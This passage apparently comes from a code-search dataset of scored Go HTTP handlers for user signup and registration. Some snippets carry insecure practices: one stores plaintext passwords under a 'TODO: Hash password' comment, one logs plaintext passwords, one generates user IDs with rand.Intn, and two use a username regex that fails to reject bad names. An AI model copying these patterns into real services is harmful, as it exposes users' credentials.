account\")\r\n\t\treturn\r\n\t}\r\n\tfmt.Fprint(w, \"congrats, your account has been successfully created\")\r\n}", "title": "" }, { "docid": "9d19093939a11259488bd7627d2bd9d1", "score": "0.6202017", "text": "func SignUpHandler(w http.ResponseWriter, r *http.Request) { // Default request handler handles domain/ requests.\n\n\tw.Header().Set(\"Content-Type\", \"text/html\") // The response will be an html document.\n\tfmt.Print(\"Received a request to SignUpHandler\\n\")\n\n\tswitch r.Method {\n\tcase \"GET\":\n\t\tfmt.Fprint(w, util.FetchHTML(\"signup.html\"))\n\t\tbreak\n\n\tcase \"POST\":\n\t\tr.ParseForm()\n\t\t// Get fields from form:\n\t\tuserName := r.FormValue(\"username\")\n\t\tuserEmail := r.FormValue(\"email\")\n\t\tpassword := r.FormValue(\"password\")\n\t\tpasswordConfirm := r.FormValue(\"passwordconfirm\")\n\n\t\t// Validate input:\n\t\tif !util.BasicValidate(userName) ||\n\t\t\t!util.BasicValidate(userEmail, -1, config.MAX_EMAIL_LENGTH) ||\n\t\t\t!util.BasicValidate(password, config.MIN_PASSWORD_LENGTH) ||\n\t\t\t!util.BasicValidate(passwordConfirm, config.MIN_PASSWORD_LENGTH) {\n\n\t\t\tw.WriteHeader(http.StatusBadRequest) // Bad input give errorcode 400 bad request.\n\t\t\tfmt.Fprint(w, \"Sorry, some of that was wrong.\")\n\t\t\treturn\n\t\t}\n\t\tif password != passwordConfirm {\n\n\t\t\tw.WriteHeader(http.StatusBadRequest) // Bad input give errorcode 400 bad request.\n\t\t\tfmt.Fprint(w, \"Passowords did not match.\")\n\t\t\treturn\n\t\t}\n\n\t\t// TODO: Hash password.\n\n\t\tvar user database.User // Create struct to store user input to be sent to db:\n\t\tuser.Username = userName\n\t\tuser.Email = userEmail\n\t\tuser.PasswordHash = password\n\t\tfmt.Printf(\"User input accepted. Inserting user into db: \\nusername: %s\\n\\n\", userName) // TODO: Remove test outprint.\n\t\tdatabase.AddUser(user) // Send struct to db.\n\n\t\tfmt.Fprint(w, \"All good, welcome to the team \"+userName+\"! :D<br> <a href=\\\"/login/\\\">Login with your new user</a>\")\n\t\tbreak\n\tdefault:\n\t\tw.WriteHeader(http.StatusBadRequest) // Bad input give errorcode 400 bad request.\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "f38cf40dfbd4007e6107a1088c5237b9", "score": "0.6193536", "text": "func (dbHandler *DBHandler) Register(c echo.Context) {\n\t//Receive parameters from client\n\tuser := models.Account{}\n\terr := json.NewDecoder(c.Request().Body).Decode(&user)\n\tif err != nil {\n\t\tnewResponse(c, \"Bad Request\", \"false\", http.StatusBadRequest, nil)\n\t\treturn\n\t}\n\thashPW, err := bcrypt.GenerateFromPassword([]byte(user.Password), bcrypt.MinCost)\n\tif err != nil {\n\t\tnewResponse(c, \"Internal Error\", \"false\", http.StatusInternalServerError, nil)\n\t\treturn\n\t}\n\tuser.Password = string(hashPW)\n\t//Check username whether exist in database\n\t//Create new entry in database\n\t_, err = dbHandler.DB.Exec(\"INSERT INTO my_db.Account VALUES (?,?)\", user.Username, user.Password)\n\tif err != nil {\n\t\tnewResponse(c, \"Failed to create new account\", \"false\", http.StatusForbidden, nil)\n\t\treturn\n\t}\n\tnewResponse(c, \"Sucessfully created\", \"true\", http.StatusCreated, nil)\n\treturn\n}", "title": "" }, { "docid": "cb60d0b9545fef9106875aac53682543", "score": "0.6188181", "text": "func registerUser(w http.ResponseWriter, r *http.Request) {\n\t//setting the header with content type\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t//initialize a new instance of the user object\n\tvar user User\n\t//read the information from the request body and assign it\n\t//to the local variable user for database injection\n\t_ = json.NewDecoder(r.Body).Decode(&user)\n\t//set a user_id\n\tuser.ID = strconv.Itoa(rand.Intn(10000000)) //Mock ID - not safe - we'll find a better method later\n\tusers = append(users, user)\n\t//output the newly created user\n\tjson.NewEncoder(w).Encode(user)\n}", "title": "" }, { "docid": "fc2dd4bda7460e926b59676d22b2cf88", "score": "0.61862254", "text": "func handlerSignup(w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"Received one signup request\")\n\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\n\tif r.Method == \"OPTIONS\" {\n\t\treturn\n\t}\n\n\tdecoder := json.NewDecoder(r.Body)\n\tvar user User\n\tif err := decoder.Decode(&user); err != nil {\n\t\thttp.Error(w, \"Cannot decode user data from client\", http.StatusBadRequest)\n\t\tfmt.Printf(\"Cannot decode user data from client %v.\\n\", err)\n\t\treturn\n\t}\n\n\t// username and password cannot be empty\n\t// regexp.MustCompile ensures username only contains letters, numbers and underscore\n\tif user.Username == \"\" || user.Password == \"\" || !regexp.MustCompile(`^[a-z0-9_]+$`).MatchString(user.Username) {\n\t\thttp.Error(w, \"Invalid username or password\", http.StatusBadRequest)\n\t\tfmt.Printf(\"Invalid username or password.\\n\")\n\t\treturn\n\t}\n\n\tif err := addUser(user); err != nil {\n\t\tif err.Error() == \"User already exists\" {\n\t\t\thttp.Error(w, \"User already exists\", http.StatusBadRequest)\n\t\t} else {\n\t\t\thttp.Error(w, \"Failed to save to ElasticSearch\", http.StatusInternalServerError)\n\t\t}\n\t\treturn\n\t}\n\n\tw.Write([]byte(\"User added successfully.\"))\n}", "title": "" }, { "docid": "ea0c68584d12e24ada31c861ef63a23d", "score": "0.6182556", "text": "func registerAdmin(w http.ResponseWriter, r *http.Request) {\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tfmt.Println(\"registerAdmin: parseForm:\", err)\n\t\treturn\n\t}\n\tusername := strings.TrimSpace(r.Form[\"username\"][0])\n\temail := strings.TrimSpace(r.Form[\"email\"][0])\n\tpassword := r.Form[\"password\"][0]\n\tpasswordConfirm := r.Form[\"password-confirm\"][0]\n\n\tmsg := registerMsg{Username: username, Email: email}\n\n\t// if passwords do not match\n\tif password != passwordConfirm {\n\t\tmsg.ErrorPassword = \"Passwords do not match\"\n\t\tmsg.Password = password\n\t\tdisplayRegister(w, r, msg)\n\t\treturn\n\t}\n\tpassHash, err := bcrypt.GenerateFromPassword([]byte(password), 10)\n\tif err != nil {\n\t\tfmt.Println(\"Register error: bycrypt:\", err)\n\t\thttp.Error(w, \"Internal server error\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// TODO: check if user already exists\n\t// check if email already exists\n\n\t// TODO: check if email is correct\n\n\t// Insert new user into database\n\t//err := model.RegisterUser(username, email, passHash)\n\t_, err = global.DB.Exec(`INSERT into users(username, email, password, active)\n\t\t\t\t\t\t\t values($1, $2, $3, TRUE)`, username, email, passHash)\n\n\tif err != nil {\n\t\tfmt.Println(\"Register: can not register new admin:\", err)\n\t\thttp.Error(w, \"Internal server error\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// new user is inserted, inform user to stop executing software with env=setup flag\n\tfmt.Fprintf(w, \"Admin: %s succesfully registered!\\n\", username)\n\tfmt.Fprintf(w, \"Please stop the analytics software and start it again without -env flag\")\n}", "title": "" }, { "docid": "79b0a408a09a24016e6e5b0c74a25f7c", "score": "0.61732936", "text": "func (h *Handler) Register(request httpHelper.Req) (httpHelper.Res, error) {\n\tvar user *UserRegistration\n\n\t// Parsing body\n\tif err := httpHelper.ParseBody(request, &user); err != nil {\n\t\treturn httpHelper.ErrResponse(err, http.StatusBadRequest)\n\t}\n\n\t// Validating body\n\terr := h.validator.Struct(user)\n\tif err != nil {\n\t\treturn httpHelper.ErrResponse(validators.ParseValidationErrors(err), http.StatusBadRequest)\n\t}\n\n\t// Register user\n\tif err := h.repository.Register(mapRegisterToUser(*user, h.salt)); err != nil {\n\t\treturn httpHelper.ErrResponse(err, http.StatusInternalServerError)\n\t}\n\n\t// Here we should send mail to valid email account. Of course, this isn't possible..\n\n\treturn httpHelper.Response(map[string]bool{\n\t\t\"success\": true,\n\t}, http.StatusCreated)\n}", "title": "" }, { "docid": "9fed549c54f088edf5cac6d5989e987e", "score": "0.61701924", "text": "func register(w http.ResponseWriter, r *http.Request) {\n // return HTML page to user\n if r.Method == \"GET\" {\n cookie, err := r.Cookie(\"SessionID\")\n if err != nil {\n t, errz := template.ParseFiles(\"register.html\")\n if errz != nil {\n log.Fatal(\"login: \", err)\n }\n t.Execute(w, \"\")\n return\n }\n\n fullSessionID := cookie.Value\n if fullSessionID == \"\" {\n t, err := template.ParseFiles(\"register.html\")\n if err != nil {\n log.Fatal(\"login: \", err)\n }\n t.Execute(w, \"\")\n return\n }\n\n query := common.Request{SessionID: fullSessionID,\n Action: common.REGISTER,\n Data: map[string]interface{}{\"Method\": r.Method}}\n response, err := QueryBackend(query)\n if response.Data[\"LoggedIn\"] == true {\n fmt.Println(\"Continuing session\")\n http.Redirect(w, r, \"/home\", http.StatusSeeOther)\n return\n } else {\n fmt.Println(\"Cookie does not match\")\n t, err := template.ParseFiles(\"register.html\")\n if err != nil {\n log.Fatal(\"login: \", err)\n }\n t.Execute(w, \"\")\n return\n }\n } else {\n fmt.Println(\"Handling POST request to login\")\n // get user input\n r.ParseForm()\n\n // check if username and password exist in form data\n u, ok := r.Form[\"Username\"]\n display := strings.Join(u, \"\")\n username := strings.ToLower(display)\n if !ok || len(username) < 1 {\n // please enter a username\n t, err := template.ParseFiles(\"register.html\")\n if err != nil {\n log.Fatal(\"registration: \", err)\n }\n t.Execute(w, \"Error: please provide a username\")\n return\n }\n\n p, ok := r.Form[\"Password\"]\n password := strings.Join(p, \"\")\n if !ok || len(password) < 1 {\n // please enter a password\n t, err := template.ParseFiles(\"register.html\")\n if err != nil {\n log.Fatal(\"registration: \", err)\n }\n t.Execute(w, \"Error: please provide a password\")\n return\n }\n\n fmt.Println(\"New User: username = \", username, \", password = \", password)\n query := common.Request{SessionID: \"\",\n Action: common.REGISTER,\n Data: map[string]interface{}{\"Username\": username,\n \"Password\": password,\n \"Method\": r.Method}}\n response, err := QueryBackend(query)\n if err != nil {\n t, err := template.ParseFiles(\"register.html\")\n if err != nil {\n log.Fatal(\"registration: \", err)\n }\n t.Execute(w, \"\")\n return\n }\n if !response.Data[\"Success\"].(bool) {\n t, err := template.ParseFiles(\"register.html\")\n if err != nil {\n log.Fatal(\"registration: \", err)\n }\n t.Execute(w, response.Data[\"Error\"].(string))\n return\n }\n\n http.Redirect(w, r, \"/login\", http.StatusSeeOther)\n }\n}", "title": "" }, { "docid": "23e0e1257be81df4d16791eb972acd86", "score": "0.61632997", "text": "func SignupHandler(w http.ResponseWriter, r *http.Request) {\n\tmethod := r.Method\n\n\tswitch method {\n\tcase \"GET\":\n\t\tSignupShowHandler(w, r)\n\tcase \"POST\":\n\t\tSignupCreateHandler(w, r)\n\t}\n}", "title": "" }, { "docid": "d5a938a5012b541cfc1c28e70a260082", "score": "0.6161552", "text": "func getRegistration(w http.ResponseWriter, r *http.Request) {\n\tif config.Auth.AllowNewUserRegistration {\n\t\tlocation := path.Join(webAppDir, \"register.html\")\n\t\tLogRequest(r)\n\t\tlog.Printf(\"Serving registration page from %s\", location)\n\t\thttp.ServeFile(w, r, location)\n\t} else {\n\t\t//New user registration isn't enabled\n\t\tw.WriteHeader(http.StatusForbidden)\n\t}\n}", "title": "" }, { "docid": "fa6e320742cc79514c30546ccbc06bf2", "score": "0.6158917", "text": "func (server *Server) Register(w http.ResponseWriter, r *http.Request) {\n\tuser := model.User{}\n\n\terr := json.NewDecoder(r.Body).Decode(&user)\n\n\tif err != nil {\n\t\tresponse.ErrorResponse(w, err, err.Error(), http.StatusUnprocessableEntity)\n\t\treturn\n\t}\n\n\tuser.Prepare()\n\terr = user.ValidateInput(server.DB)\n\n\tif err != nil {\n\t\tresponse.ErrorResponse(w, err, err.Error(), http.StatusUnprocessableEntity)\n\t\treturn\n\t}\n\n\tregisteredUserAuthKey, err := user.CreateUser(server.DB)\n\n\tif err != nil {\n\t\tresponse.ErrorResponse(w, err, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tresponse.JsonResponse(w, http.StatusOK, registeredUserAuthKey)\n}", "title": "" }, { "docid": "0a8959889526a80f588a9e56d1d1e526", "score": "0.61480975", "text": "func RegisterHandler(\n\ta *sir.ApplicationContext,\n\tc web.C,\n\tw http.ResponseWriter,\n\tr *http.Request) (int, error) {\n\n\t// Decode the request JSON\n\tdecoder := json.NewDecoder(r.Body)\n\tdata := &request{}\n\terr := decoder.Decode(data)\n\tif err != nil {\n\t\treturn 400, err\n\t}\n\n\t// Validate our data\n\tif err := validator.Validate(data); err != nil {\n\t\treturn 422, errors.New(\"Invalid POST request\")\n\t}\n\n\ti, err := allocate(a, data)\n\tif err != nil {\n\t\treturn 500, err\n\t}\n\n\tresp, err := json.Marshal(&response{Name: i.Name})\n\tif err != nil {\n\t\treturn 500, err\n\t}\n\n\t// Write the response\n\tw.Write(resp)\n\n\treturn 204, nil\n}", "title": "" }, { "docid": "21620883f374bb2892c671e08256e690", "score": "0.6145769", "text": "func UserRegisteration(w http.ResponseWriter, r *http.Request) {\n\n\t//Allow CORS here By * or specific origin\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type\")\n\t// return \"OKOK\"\n\n\tlog.Println(\"*** Inside Registration ***\")\n\n\theader := r.Header.Get(\"Content-Type\")\n\tif header != \"application/json\" {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tres := router.Response{}\n\t\tres.Error = \"ERROR\"\n\t\tres.ErrorCode = \"E001\"\n\t\tres.Message = router.ErrorMap[\"E001\"]\n\t\tjson.NewEncoder(w).Encode(res)\n\t\tlog.Println(\"*** ERROR *** \\n\", router.ErrorMap[\"E001\"])\n\t\treturn\n\t}\n\n\tb, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusPartialContent)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tres := router.Response{}\n\t\tres.Error = \"ERROR\"\n\t\tres.ErrorCode = \"E002\"\n\t\tres.Message = router.ErrorMap[\"E002\"]\n\t\tjson.NewEncoder(w).Encode(res)\n\t\tlog.Println(\"*** ERROR *** \\n\", router.ErrorMap[\"E002\"])\n\t\treturn\n\t}\n\n\tvar id int\n\tid, err = srv.UserRegistrationService(b)\n\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusOK)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tres := router.Response{}\n\t\tres.Error = \"ERROR\"\n\t\tres.ErrorCode = \"SRVERR\"\n\t\tres.Message = err.Error()\n\t\tjson.NewEncoder(w).Encode(res)\n\t\t//log.Println(\"*** ERROR *** \\n\", err.Error())\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tres := router.Response{}\n\tres.Error = \"NONE\"\n\tres.ErrorCode = \"S001\"\n\tres.Message = router.ErrorMap[\"S001\"]\n\tjson.NewEncoder(w).Encode(res)\n\tlog.Println(\"*** Success *** \\n\", router.ErrorMap[\"S001\"], \" NEW ID\", id)\n\treturn\n\n}", "title": "" }, { "docid": "abd06c8efffdf832939ab74ad59e0d04", "score": "0.6142424", "text": "func handlerSignUp(w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"Received on signup request\")\n\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\tif r.Method == \"OPTIONS\" {\n\t\treturn\n\t}\n\tdecoder := json.NewDecoder(r.Body)\n\tvar u User\n\tif err := decoder.Decode(&u); err != nil {\n\t\tpanic(err)\n\t}\n\tif u.Username != \"\" && u.Password != \"\" && usernamePattern(u.Username) {\n\t\tif addUser(u) {\n\t\t\tfmt.Println(\"User added!\")\n\t\t\tw.Write([]byte(\"User added!\"))\n\t\t} else {\n\t\t\tfmt.Println(\"Failed to add a new user!\")\n\t\t\thttp.Error(w, \"Failed to add a new user!!\", http.StatusInternalServerError)\n\t\t}\n\t} else {\n\t\tfmt.Println(\"Invalid password or username!\")\n\t\thttp.Error(w, \"Invalid password or username!\", http.StatusInternalServerError)\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n}", "title": "" }, { "docid": "5a5e76261677e6d4284aeb671f64d407", "score": "0.613212", "text": "func signupHandler(username string, email string, password string, validator int) string {\n\tre := regexp.MustCompile(\"^[a-zA-Z0-9]+$\")\n\tif !(re.MatchString(username)) {\n\t\treturn \"Only Alphanumeric Characters\"\n\t}\n\tif password == \"\" {\n\t\treturn \"Need a Password\"\n\t}\n\tvar valid string\n\terr := serverDBs.filesdb.QueryRow(\"SELECT username FROM validations WHERE username=? AND email=? AND validation=?\", username, email, validator).Scan(&valid)\n\tif err == sql.ErrNoRows {\n\t\treturn \"Validation Fail\"\n\t} else if err != nil {\n\t\treturn \"Validation Query Error\"\n\t}\n\n\thashedPassword := hashAndSalt(password)\n\t//creates account\n\t_, err = serverDBs.filesdb.Exec(\"INSERT INTO accounts(username, email, password, storagetot) VALUES(?, ?, ?, ?)\", username, email, hashedPassword, FILE_LIMIT)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"Error inserting into Accounts: %v\\n\", err.Error())\n\t\treturn \"Error Setting up Account. Try setting up again.\"\n\t}\n\t//makes directory information\n\t_, err = serverDBs.filesdb.Exec(\"INSERT INTO dirs VALUES(?, ?, ?)\", username, \"/\", username)\n\tif err != nil {\n\t\t//if directory information fails, the account won't work so we remove it from accounts to prevent a blank account\n\t\tserverDBs.filesdb.Exec(\"DELETE FROM accounts WHERE username=?\", username)\n\t\tfmt.Fprintf(os.Stderr, \"Error inserting into Dirs: %v\\n\", err.Error())\n\t\treturn \"Error Setting up Account. Try setting up again.\"\n\t}\n\treturn \"SUCCESS: You can login now\"\n}", "title": "" }, { "docid": "fd82c32004fd6c8ce27207205a535d7b", "score": "0.6128724", "text": "func handlerSignup(w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"Received one signup request\")\n\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\n\tif r.Method == \"OPTIONS\" {\n\t\treturn\n\t}\n\n\tdecoder := json.NewDecoder(r.Body)\n\tvar user User\n\tif err := decoder.Decode(&user); err != nil {\n\t\thttp.Error(w, \"Cannot decode user data from client\", http.StatusBadRequest)\n\t\tfmt.Printf(\"Cannot decode user data from client %v\\n\", err)\n\t\treturn\n\t}\n\n\tif user.Username == \"\" || user.Password == \"\" || regexp.MustCompile(`^[a-z0-9]$`).MatchString(user.Username) {\n\t\thttp.Error(w, \"Invalid username or password\", http.StatusBadRequest)\n\t\tfmt.Printf(\"Invalid username or password\\n\")\n\t\treturn\n\t}\n\n\tsuccess, err := addUser(&user)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to save user to Elasticsearch\", http.StatusInternalServerError)\n\t\tfmt.Printf(\"Failed to save user to Elasticsearch %v\\n\", err)\n\t\treturn\n\t}\n\n\tif !success {\n\t\thttp.Error(w, \"User already exists\", http.StatusBadRequest)\n\t\tfmt.Println(\"User already exists\")\n\t\treturn\n\t}\n\tfmt.Printf(\"User added successfully: %s.\\n\", user.Username)\n}", "title": "" }, { "docid": "b12471d8214faa4a34efee6e3c598d99", "score": "0.6125929", "text": "func (eh *eventServiceHandler) newAdminUserHandler(w http.ResponseWriter, r *http.Request) {\n\t//in post pass in id, first and last name,age and bookings\n\n\tuser := persistence.AdminUser{}\n\terr := json.NewDecoder(r.Body).Decode(&user)\n\tif err != nil {\n\t\tw.WriteHeader(400)\n\t\tfmt.Fprintf(w, \"request body could not be unserialized to admin user: %s\", err)\n\t\treturn\n\t}\n\n\tpersistedUser, err := eh.dbhandler.AddAdminUser(user)\n\tif err != nil {\n\t\tw.WriteHeader(500)\n\t\tfmt.Fprintf(w, \"could not persist admin user: %s\", err)\n\t}\n\n\tmsg := contracts.AdminUserCreatedEvent{\n\t\tID: hex.EncodeToString(persistedUser),\n\t\t//ID: string(user.ID),\n\t\tFirst: user.First,\n\t\tLast: user.Last,\n\t\tEmail: user.Email,\n\t\tPassword: user.Password, //clearly this is not something that is passed around and probably hashed\n\t\tCompany: user.Company,\n\t\tEvents: user.Events,\n\t}\n\terr = eh.eventEmitter.Emit(&msg)\n\tif err != nil {\n\t\tlog.Printf(\"Issue Emitting +%v\", err)\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json;charset=utf8\")\n\n\tw.WriteHeader(201)\n\tjson.NewEncoder(w).Encode(&persistedUser)\n}", "title": "" }, { "docid": "4b396d0882775d74ee22dcc04d9d726f", "score": "0.6120652", "text": "func handlerSignup(w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"Received one sign up request\")\n\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\n\tif r.Method == \"OPTIONS\" {\n\t\treturn\n\t}\n\n\t// decode request json boby in to User contruct\n\tdecoder := json.NewDecoder(r.Body)\n\tvar user User\n\tif err := decoder.Decode(&user); err != nil {\n\t\thttp.Error(w, \"Cannot decode user data from client\", http.StatusBadRequest)\n\t\tfmt.Printf(\"Cannot decode user data from client %v\\n\", err)\n\t\treturn\n\t}\n\n\t// check if the input user name and password is valid\n\t// here we check not empty username and pssword\n\t// and user name has to be consist by a-z, 0-9\n\tif user.Username == \"\" || user.Password == \"\" || regexp.MustCompile(`^[a-z0-9]$`).MatchString(user.Username) {\n\t\thttp.Error(w, \"Invalid username or password\", http.StatusBadRequest)\n\t\tfmt.Printf(\"Invalid username or password\\n\")\n\t\treturn\n\t}\n\n\t// if valid, add that User into elastic search user index (add into database as register process)\n\tsuccess, err := addUser(&user)\n\tif err != nil {\n\t\thttp.Error(w, \"Failed to save user to Elasticsearch\", http.StatusInternalServerError)\n\t\tfmt.Printf(\"Failed to save user to Elasticsearch %v\\n\", err)\n\t\treturn\n\t}\n\tif !success {\n\t\thttp.Error(w, \"User already exists\", http.StatusBadRequest)\n\t\tfmt.Println(\"User already exists\")\n\t\treturn\n\t}\n\tfmt.Printf(\"User added successfully: %s.\\n\", user.Username)\n}", "title": "" }, { "docid": "8a004efdf0f21dddf0ab2f4a1e1870ff", "score": "0.6120354", "text": "func register(w http.ResponseWriter, r *http.Request) {\n\n\t// make a channel that we will use to send messages to this client\n\tsendChannel := make(chan string)\n\n\tlog.Print(\"registering:\", sendChannel)\n\n\t// set up websocket\n\n\t// accept any host\n\tupgrader.CheckOrigin = func(r *http.Request) bool { return true }\n\n\tws, err := upgrader.Upgrade(w, r, nil)\n\tif err != nil {\n\t\tlog.Print(err)\n\t\thttp.Error(w, \"Protocol error\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tregisteredClientsMux.Lock()\n\tregisteredClients[sendChannel] = struct{}{}\n\tregisteredClientsMux.Unlock()\n\n\t// watch for close\n\tdeadChannel := make(chan bool)\n\tgo readClient(ws, sendChannel, deadChannel)\n\n\t// welcome the client\n\terr = ws.WriteMessage(1, []byte(\"[you are connected]\"))\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\n\tfor {\n\t\t// wait for a message that needs sent\n\t\tselect {\n\t\tcase message := <-sendChannel:\n\t\t\terr := ws.WriteMessage(1, []byte(message))\n\t\t\tif err != nil {\n\t\t\t\tlog.Print(err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tlog.Print(\"sent message: \", message, \" to: \", sendChannel)\n\n\t\tcase dead := <-deadChannel:\n\t\t\tif dead {\n\t\t\t\tlog.Print(\"stopping register handler for: \", sendChannel)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "d69758269d6790d78b5cc6b6b1aad388", "score": "0.60998064", "text": "func (adh *AdminHandler) RegisterHandler() {\n\tadh.Service.GetDispatcher().Register(adminserviceserver.New(adh))\n}", "title": "" }, { "docid": "bfba633ffc0895940aca50d3f102caec", "score": "0.6090362", "text": "func Register(rw http.ResponseWriter, r *http.Request) {\n\tvar us models.User\n\terr := json.NewDecoder(r.Body).Decode(&us)\n\tif err != nil {\n\t\thttp.Error(rw, \"Error in the body request: \"+err.Error(), 400)\n\t\treturn\n\t}\n\n\tif len(us.Email) == 0 {\n\t\thttp.Error(rw, \"The email field is required\", 400)\n\t\treturn\n\t}\n\tif len(us.Password) < 6 {\n\t\thttp.Error(rw, \"The password must be a minimun of 6 character\", 400)\n\t\treturn\n\t}\n\n\t_, exist, _ := db.FindUserByEmail(us.Email)\n\tif exist {\n\t\thttp.Error(rw, \"Alrready exist a registered user with this email.\", 400)\n\t\treturn\n\t}\n\n\t_, status, errorSaving := db.SaveUser(us)\n\tif errorSaving != nil {\n\t\thttp.Error(rw, \"Error saving the user: \"+errorSaving.Error(), 400)\n\t\treturn\n\t}\n\tif status == false {\n\t\thttp.Error(rw, \"Error saving the user: invalid status\", 400)\n\t\treturn\n\t}\n\n\trw.WriteHeader(http.StatusCreated)\n}", "title": "" }, { "docid": "bfbcc1468dab479fb929011ee356de88", "score": "0.6089246", "text": "func Register(h Handler, g *echo.Group) {\n\tg.GET(\"\", h.Browse)\n\tg.POST(\"\", h.Create)\n\tg.DELETE(\"\", h.Delete)\n\tg.GET(\"/:pk\", h.Select)\n\tg.PUT(\"/:pk\", h.Update)\n\tg.PATCH(\"/:pk\", h.Modify)\n\tg.DELETE(\"/:pk\", h.Remove)\n}", "title": "" }, { "docid": "bb4469e4bb37f554b59f632b5b27f419", "score": "0.60891324", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\tutils.SetupCors(&w, r)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tdecoder := json.NewDecoder(r.Body)\n\tuser := models.User{}\n\n\terr := decoder.Decode(&user)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tisValidUser := user.Validate()\n\n\tif isValidUser {\n\t\terr = user.CreateUser()\n\t\tif err != nil {\n\t\t\tresponse := models.Response{\n\t\t\t\tReturnCode: -201,\n\t\t\t\tMessage: err.Error(),\n\t\t\t}\n\n\t\t\tbyteResponse, marshalError := response.Response()\n\t\t\tif marshalError != nil {\n\t\t\t\tpanic(marshalError)\n\t\t\t}\n\n\t\t\tw.Write(byteResponse)\n\t\t\treturn\n\t\t}\n\n\t\tresponse := models.Response{\n\t\t\tReturnCode: 0,\n\t\t\tMessage: \"OK\",\n\t\t}\n\n\t\tbyteResponse, marshalError := response.Response()\n\t\tif marshalError != nil {\n\t\t\tpanic(marshalError)\n\t\t}\n\n\t\tw.Write(byteResponse)\n\t\treturn\n\t}\n\n\tresponse := models.Response{\n\t\tReturnCode: -202,\n\t\tMessage: \"Validation error\",\n\t}\n\n\tbyteResponse, marshalError := response.Response()\n\tif marshalError != nil {\n\t\tpanic(marshalError)\n\t}\n\n\tw.Write(byteResponse)\n\treturn\n}", "title": "" }, { "docid": "73de1d206ad317728d3c7c6e7e6b00b7", "score": "0.60859287", "text": "func Register(c *gin.Context) {\n\tvar register forms.UserRegisterForm\n\terr := c.ShouldBindJSON(&register)\n\tif err != nil {\n\t\tc.Set(\"error\", errors.ErrorInvalidJSON)\n\t\treturn\n\t}\n\n\terr = um.Register(register)\n\tif err != nil {\n\t\tc.Set(\"error\", err)\n\t\treturn\n\t}\n\n\tc.JSON(200, gin.H{\n\t\t\"message\": \"User created.\",\n\t})\n}", "title": "" }, { "docid": "3b9c41efe0591acfa545cd18708d85d6", "score": "0.60853696", "text": "func (n *Node) register(ctx echo.Context) error {\n\tnewUser := new(user.User)\n\tif err := ctx.Bind(newUser); err != nil {\n\t\treturn ctx.JSON(http.StatusBadRequest, &api.Response{\n\t\t\tSuccess: false,\n\t\t\tError: err.Error(),\n\t\t\tData: nil,\n\t\t})\n\t}\n\t// Check if user already exist\n\tusers, err := user.GetUsers()\n\tif err != nil {\n\t\treturn ctx.JSON(http.StatusInternalServerError, &api.Response{\n\t\t\tSuccess: false,\n\t\t\tError: err.Error(),\n\t\t\tData: nil,\n\t\t})\n\t}\n\tfor _, user := range users {\n\t\tif newUser.Username == user.Username {\n\t\t\treturn ctx.JSON(http.StatusConflict, &api.Response{\n\t\t\t\tSuccess: false,\n\t\t\t\tError: fmt.Sprintf(\"username [%s] already exists\", newUser.Username),\n\t\t\t\tData: nil,\n\t\t\t})\n\t\t}\n\t}\n\n\t// Handle user registration\n\tconfig, err := config.GetConfig()\n\tif err != nil {\n\t\treturn ctx.JSON(http.StatusInternalServerError, &api.Response{\n\t\t\tSuccess: false,\n\t\t\tError: err.Error(),\n\t\t\tData: nil,\n\t\t})\n\t}\n\tvar key []byte = make([]byte, 32)\n\tvar pwd []byte\n\tkeyStr := config.ConfigServer.Secret\n\tcopy(key, []byte(keyStr))\n\tpwdStr := newUser.Password\n\tpwd = []byte(pwdStr)\n\t// Encrypt Password\n\tcipher, err := util.Encrypt(key, pwd)\n\tif err != nil {\n\t\treturn ctx.JSON(http.StatusInternalServerError, &api.Response{\n\t\t\tSuccess: false,\n\t\t\tError: err.Error(),\n\t\t\tData: nil,\n\t\t})\n\t}\n\tnewUser.Password = hex.EncodeToString(cipher)\n\t// Contact Locksmith for lock - Centralized Server Locking\n\trequest := &message.Request{\n\t\tFrom: n.Pid,\n\t\tTo: 0,\n\t\tCode: message.ACQUIRE_USER_LOCK,\n\t\tPayload: nil,\n\t}\n\tvar reply message.Reply\n\terr = message.SendMessage(n.RpcMap[0], \"LockSmith.AcquireUserLock\", request, &reply)\n\tif err != nil {\n\t\treturn ctx.JSON(http.StatusInternalServerError, &api.Response{\n\t\t\tSuccess: 